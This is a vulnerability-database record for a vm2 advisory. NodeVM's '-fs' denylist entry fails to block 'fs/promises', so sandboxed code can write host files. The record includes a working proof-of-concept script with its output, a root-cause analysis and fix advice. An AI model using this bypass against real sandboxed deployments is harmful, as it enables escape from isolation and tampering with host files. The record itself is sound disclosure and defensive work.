{"schema":"threatline.record/2","record":{"id":"CVE-2026-92958","aliases":["GHSA-6rh5-qq4q-97xh"],"summary":"vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes","details":"## Summary\n\nNodeVM's builtin wildcard policy can allow sandboxed code to access `fs/promises` even when the embedder denies `fs`.\n\nWith the following configuration:\n\n```js\nrequire: {\n  builtin: ['*', '-fs', '-child_process']\n}\n```\n\n`require('fs')` and `require('child_process')` are blocked, but `require('fs/promises')` and `require('node:fs/promises')` are still available. This allows sandboxed code to create and write files on the host filesystem through the promise-based filesystem API.\n\n## Affected Mode\n\nNodeVM.\n\n## Affected Configuration\n\n```js\nnew NodeVM({\n  require: {\n    builtin: ['*', '-fs', '-child_process']\n  }\n});\n```\n\nThis affects configurations where users rely on negative builtin entries such as `-fs` to deny filesystem access while using the `'*'` builtin wildcard.\n\n## Affected Files / Functions\n\n- `lib/builtin.js`\n  - `DANGEROUS_BUILTINS`\n  - `BUILTIN_MODULES`\n  - `makeBuiltinsFromLegacyOptions`\n  - `addDefaultBuiltin`\n- `lib/resolver.js`\n  - `Resolver.resolve`\n  - `Resolver.loadBuiltinModule`\n- `lib/setup-node-sandbox.js`\n  - `requireImpl`\n\n## Root Cause\n\n`lib/builtin.js` builds `BUILTIN_MODULES` from Node's builtin module list and filters dangerous/default-denied modules. In wildcard mode, negative entries are checked by exact name:\n\n```js\nif (builtins.indexOf(`-${name}`) === -1) {\n  addDefaultBuiltin(res, name, hostRequire);\n}\n```\n\nThis means `-fs` removes only the exact builtin named `fs`. It does not remove builtin subpaths such as `fs/promises`.\n\nThere is also inconsistent `node:` prefix handling. `require('node:fs/promises')` resolves through the same builtin capability, but a negative entry such as `-node:fs/promises` does not block `require('fs/promises')`.\n\n## Security Boundary Crossed\n\nSandboxed code can perform host filesystem writes even though the embedder denied `fs`.\n\n## Impact\n\nConfirmed impact:\n\n- Host file creation\n- Host file write\n\nThe proof uses `fs/promises.writeFile()` to create a harmless temporary file containing a marker string.\n\nAdditional reachable APIs on `fs/promises` include filesystem operations such as `cp`, `mkdir`, `rename`, `rm`, `rmdir`, `truncate`, and others. These were not used destructively in the proof.\n\n## Safe Local Reproduction\n\nTested on Node.js `v24.14.0`.\n\nThis proof does not execute OS commands and does not use destructive filesystem operations. It creates a temporary proof file, verifies the marker, then removes the file.\n\n```js\n'use strict';\n\nconst fs = require('fs');\nconst os = require('os');\nconst path = require('path');\nconst { NodeVM } = require('./');\n\nconst proofPath = path.join(os.tmpdir(), `vm2-fs-promises-proof-${process.pid}.txt`);\nconst marker = `vm2-fs-promises-marker-${process.pid}`;\n\ntry {\n  fs.unlinkSync(proofPath);\n} catch (_) {}\n\n(async () => {\n  const vm = new NodeVM({\n    require: {\n      builtin: ['*', '-fs', '-child_process']\n    }\n  });\n\n  const result = await vm.run(`\n    module.exports = (async () => {\n      const r = {};\n\n      try {\n        require('fs');\n        r.fsLoaded = true;\n      } catch (e) {\n        r.fsBlocked = true;\n        r.fsError = e && e.code;\n      }\n\n      try {\n        require('child_process');\n        r.childProcessLoaded = true;\n      } catch (e) {\n        r.childProcessBlocked = true;\n        r.childProcessError = e && e.code;\n      }\n\n      const fsp = require('fs/promises');\n      r.fsPromisesLoaded = true;\n      r.fsPromisesKeys = Object.keys(fsp).slice(0, 12).sort();\n\n      await fsp.writeFile(${JSON.stringify(proofPath)}, ${JSON.stringify(marker)}, 'utf8');\n      r.wrote = true;\n\n      return r;\n    })();\n  `);\n\n  const exists = fs.existsSync(proofPath);\n  const content = exists ? fs.readFileSync(proofPath, 'utf8') : null;\n\n  console.log(JSON.stringify({\n    result,\n    hostFileExists: exists,\n    hostFileContent: content\n  }, null, 2));\n\n  try {\n    fs.unlinkSync(proofPath);\n  } catch (_) {}\n})().catch(error => {\n  try {\n    fs.unlinkSync(proofPath);\n  } catch (_) {}\n  console.error(error);\n  process.exitCode = 1;\n});\n```\n\nObserved result:\n\n```json\n{\n  \"result\": {\n    \"fsBlocked\": true,\n    \"fsError\": \"ENOTFOUND\",\n    \"childProcessBlocked\": true,\n    \"childProcessError\": \"ENOTFOUND\",\n    \"fsPromisesLoaded\": true,\n    \"wrote\": true\n  },\n  \"hostFileExists\": true,\n  \"hostFileContent\": \"vm2-fs-promises-marker-<pid>\"\n}\n```\n\nAdditional local checks:\n\n- `require('node:fs/promises')` also loads and can write the proof file.\n- Adding `-fs/promises` blocks `require('fs/promises')`.\n- Adding only `-node:fs/promises` does not block `require('fs/promises')`.\n\n## Expected Secure Behavior\n\nIf an embedder denies `fs`, NodeVM should deny the whole filesystem builtin family, including:\n\n- `fs`\n- `fs/promises`\n- `node:fs`\n- `node:fs/promises`\n\nNegative entries with and without `node:` should be normalized consistently.\n\n## Suggested Fix\n\n1. Normalize builtin names before allow/deny checks:\n   - Strip `node:` for comparison.\n   - Use one canonical key form internally.\n\n2. Treat negative builtin entries as family denials where appropriate:\n   - `-fs` should block `fs/promises`.\n   - `-inspector` already conceptually blocks `inspector/promises`; apply the same family logic to user-provided negative entries.\n\n3. Add regression tests for:\n   - `builtin: ['*', '-fs']` blocks `fs/promises`.\n   - `builtin: ['*', '-fs']` blocks `node:fs/promises`.\n   - `-node:fs/promises` and `-fs/promises` behave equivalently.\n   - Explicit allowlist behavior is documented and covered.","categories":["Libraries & packages"],"product":"vm2","vendor":"patriksimek","ecosystem":"npm","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-6rh5-qq4q-97xh","source_modified_at":"2026-10-01T15:36:49Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"vm2"},"range":"<= 3.11.6"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-92958","source_modified_at":"2026-09-18T19:35:47.679Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"vm2","vendor":"patriksimek","versions":[{"lessThan":"3.11.7","status":"affected","version":"0","versionType":"semver"},{"status":"unaffected","version":"3.11.7","versionType":"semver"}],"defaultStatus":"unaffected"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-6rh5-qq4q-97xh","source_modified_at":"2026-10-01T15:45:06.200420134Z","fetched_at":"2026-10-23T18:52:38.922436Z","package":{"name":"vm2","ecosystem":"npm","purl":"pkg:npm/vm2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.7"}]}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-6rh5-qq4q-97xh","source_modified_at":"2026-10-01T15:36:49Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"vm2"},"version":"3.11.7"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-92958","source_modified_at":"2026-09-18T19:35:47.679Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"vm2","ecosystem":null},"version":"3.11.7","basis":"first unaffected version stated in the CVE record"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-6rh5-qq4q-97xh","source_modified_at":"2026-10-01T15:45:06.200420134Z","fetched_at":"2026-10-23T18:52:38.922436Z","package":{"name":"vm2","ecosystem":"npm","purl":"pkg:npm/vm2"},"version":"3.11.7"}],"cvss":8.5,"severity":"High","kev":{"listed":false},"epss":{"probability":0.00384,"percentile":0.31326,"score_date":"2026-10-23"},"published_at":"2026-09-17T13:46:15.549Z","modified_at":"2026-10-01T15:45:06.200420134Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-6rh5-qq4q-97xh","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-01T15:36:49Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-92958","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-09-18T19:35:47.679Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-6rh5-qq4q-97xh","fetched_at":"2026-10-23T18:52:38.922436Z","source_modified_at":"2026-10-01T15:45:06.200420134Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92958","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-6rh5-qq4q-97xh","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92958","source":"GitHub Advisory Database"},{"url":"https://github.com/patriksimek/vm2/commit/59d35f68e52a9bd229a8a72bcd9274bd4cec2bc5","source":"GitHub Advisory Database"},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.7","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://www.vulncheck.com/advisories/vm2-before-3.11.7-denylist-bypass-via-fs-promises","tags":["third-party-advisory"]},{"url":"https://github.com/advisories/GHSA-6rh5-qq4q-97xh","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"partial","assessed_at":"2026-09-18T19:35:41.669234Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-01T15:45:06.200420134Z","content_hash":"8aea2b30d1870c7c7d50f2234ea4700e432be20a5d048d932e187ae5367fd6f6"}}
